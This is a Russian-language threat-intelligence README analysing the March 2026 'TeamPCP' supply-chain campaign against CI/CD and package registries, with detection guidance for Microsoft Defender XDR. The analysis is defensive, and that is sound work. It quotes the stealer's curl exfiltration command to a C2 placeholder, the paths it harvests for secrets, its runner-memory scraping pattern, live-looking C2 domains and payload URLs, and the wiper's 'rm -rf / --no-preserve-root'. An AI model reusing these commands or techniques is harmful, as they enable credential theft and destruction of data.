TeamPCP Supply Chain Attack: технический анализ и руководство по обнаружению

CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.

В период с 19 по 25 марта 2026 года threat actor TeamPCP (также отслеживается как DeadCatx3, PCPcat, ShellForce, CanisterWorm) провёл каскадную атаку на цепочку поставок в пяти экосистемах: GitHub Actions, Docker Hub, OpenVSX, npm и PyPI. Начавшись с одного не полностью отозванного GitHub PAT, кампания распространилась на двух крупных вендоров open-source безопасности (Aqua Security и Checkmarx), четыре репозитория GitHub Actions, два расширения VS Code, реестры контейнеров и более 66 пакетов npm.

Этот репозиторий содержит полный технический разбор, подборку IOC-индикаторов (проверенную на ложные срабатывания) и готовые к развёртыванию запросы обнаружения для Microsoft Defender XDR.

Содержание

• Хронология атаки
• Разбор цепочки поражения
• Скомпрометированные артефакты
• Механика стилера учётных данных
• CanisterWorm — распространение через npm
• Компонент-вайпер, нацеленный на Иран
• Обнаружение и охота
• Список IOC
• Примечания по фильтрации ложных срабатываний
• Маппинг MITRE ATT&CK
• Ссылки

Хронология атаки

Разбор цепочки поражения

Фаза 1 — Начальный доступ

Основная причина: неполная ротация учётных данных после инцидента 28 февраля. PAT сервисной учётной записи aqua-bot либо не был отозван, либо атакующий наблюдал новый токен во время ротации.

TeamPCP использовал этот сохранённый доступ, чтобы делать force-push тегов версий во вредоносные коммиты-подделки. Каждый поддельный коммит клонировал метаданные оригинала (автор, временная метка, сообщение), заменяя при этом скрипт точки входа на payload-стилера. Страница релиза GitHub не показывала видимых изменений — даже бейдж "Immutable" отображался нормально.

Фаза 2 — Выполнение payload

Стилер — 204-строчный entrypoint.sh, самоидентифицирующийся как "TeamPCP Cloud stealer", — выполняет атаку в три этапа:

Этап 1: Сканирование памяти

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Этап 2: Сбор учётных данных из файловой системы

Сканирует 50+ чувствительных путей, включая:

• SSH-ключи (~/.ssh/*)
• Учётные данные AWS/GCP/Azure
• Токены и конфиги Kubernetes
• Учётные данные реестров Docker
• Файлы состояния Terraform
• Криптокошельки (Solana, Bitcoin, Ethereum, Cardano)
• npm-токены (~/.npmrc)
• Историю команд оболочки
• Файлы .env

Этап 3: Зашифрованная эксфильтрация

• Упаковывает все собранные данные в tpcp.tar.gz
• Шифрует с помощью AES-256-CBC (случайный сеансовый ключ) + RSA-4096/RSA-OAEP (открытый ключ атакующего)
• Эксфильтрует через curl POST на typo-squat домены, имитирующие вендоров
• Запасной вариант: создаёт репозиторий tpcp-docs или docs-tpcp в GitHub-аккаунте жертвы, используя украденный GITHUB_TOKEN

Фаза 3 — Постоянство

В не-CI Linux-системах вредонос:

1. Создаёт скрытую директорию ~/.config/sysmon/
2. Размещает Python-бэкдор (sysmon.py)
3. Устанавливает пользовательский systemd-сервис, который опрашивает C2 каждые 50 минут
4. Kill switch: если ответ C2 содержит "youtube", бэкдор пропускает выполнение

Фаза 4 — Горизонтальное перемещение (волна Checkmarx)

Украденные учётные данные волны Trivy позволили скомпрометировать экосистему Checkmarx. Каждая новая волна использовала другой typo-squat C2-домен, чтобы обойти блок-листы предыдущей волны:

Скомпрометированные артефакты

GitHub Actions

Расширения OpenVSX (маркетплейс VS Code НЕ затронут)

Оба расширения были опубликованы с интервалом в 12 секунд в 12:53 UTC 23 марта через учётную запись ast-phoenix. При активации environmentAuthChecker.js проверяет наличие учётных данных облачного провайдера, а затем загружает стилер второй стадии с checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Образы контейнеров

PyPI

Тройной вложенный base64-payload с набором инструментов для горизонтального перемещения в K8s. Постоянство через sysmon.service, опрашивающий checkmarx.zone/raw.

Механика стилера учётных данных

Паттерн эксфильтрации одинаков во всех волнах:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

Стратегия typo-squat доменов выбрана намеренно: аналитик, просматривающий логи CI/CD, видит curl-трафик на домен, похожий на домен собственного вендора action. Без тщательного сравнения scan.aquasecurtiy.org сходит за aquasecurity.org при быстрой проверке логов.

Только атакующий может расшифровать украденные данные — сеансовый ключ AES зашифрован RSA-OAEP его открытым ключом.

CanisterWorm — распространение через npm

В течение 24 часов после компрометации Trivy украденные npm-токены позволили запустить самоповторяющийся червь в 66+ пакетах (141 вредоносный артефакт).

Чем примечателен CanisterWorm:

• Первое документально подтверждённое npm-вредоносное ПО, использующее canister блокчейна ICP (Internet Computer Protocol) в качестве C2
• Canister по адресу tdtqy-oyaaa-aaaae-af2dq-cai — это децентрализованный смарт-контракт: нет единой точки для отключения
• Предоставляет 3 метода: get_latest_link, http_request, update_link
• Атакующий может менять payload на всех заражённых машинах без повторной публикации npm-пакетов
• Kill switch: если canister возвращает URL, содержащий youtube.com, бэкдор засыпает
• Постоянство: пользовательский systemd-сервис, маскирующийся под pgmon (мониторинг PostgreSQL)
• Интервал опроса: каждые 50 минут
• Бинарник сохраняется в /tmp/pglog, состояние отслеживается в /tmp/.pg_state

Известные скомпрометированные scope: @emilgroup/*, @teale.io/* (самоповторяющийся вариант в @teale.io/eslint-config v1.8.11, v1.8.12)

Компонент-вайпер, нацеленный на Иран

Деструктивный вариант нацелен конкретно на иранские системы:

1. Kubernetes + Иран: разворачивает привилегированные DaemonSet на каждом узле (включая control plane), стирает данные и принудительно перезагружает через контейнер с именем kamikaze
2. Kubernetes + не Иран: устанавливает бэкдор CanisterWorm как systemd-сервис
3. Не K8s + Иран: выполняет rm -rf / --no-preserve-root с sudo
4. Не K8s + не Иран: никаких действий

Обнаружение основывается на проверках часового пояса и локали системы.

Обнаружение и охота

Microsoft Defender XDR — правило пользовательского обнаружения

Имя правила: TeamPCP Supply Chain C2 and Malware IOC Match
Серьёзность: Высокая
Категория: CommandAndControl
Частота: Каждый 1 час

Полный KQL-запрос см. в detection/defender_xdr_query.kql.

Запрос охватывает:

• 7 SHA256-хешей файлов (стилер + варианты CanisterWorm)
• 2 IP-адреса C2
• 4 C2-домена (typosquats + ICP canister)
• 4 конкретных C2-URL
• Проверки разрешения DNS

Импорт индикаторов Defender TI

Готовый к импорту CSV-файл находится в iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Этот файл протестирован на ложные срабатывания в производственной среде корпоративного класса.

Другие платформы

Список IOC

Хеши файлов (SHA256)

Сетевые IOC

Пути C2-URL

Артефакты постоянства

GitHub-репозитории эксфильтрации (запасной вариант)

Примечания по фильтрации ложных срабатываний

Запросы обнаружения и CSV-файл IOC в этом репозитории протестированы в производственной среде со следующим окружением:

• Ansible AWX/Tower с коллекциями community.general и kubernetes.core
• Claude Code и GitHub Copilot на macOS-рабочих станциях разработчиков
• Агент FortiMonitor (опрос IMDS)
• Oracle AHF на экземплярах OCI (опрос IMDS)
• Различные инструментальные цепочки Python/Node.js

Следующие IOC были удалены из-за подтверждённых ложных срабатываний:

Маппинг MITRE ATT&CK

Ссылки

Лицензия

MIT — используйте, распространяйте, адаптируйте свободно. Атрибуция приветствуется.

Автор: Ugur Can Ates — руководитель SOC-команды и старший инженер по безопасности
Последнее обновление: 25 марта 2026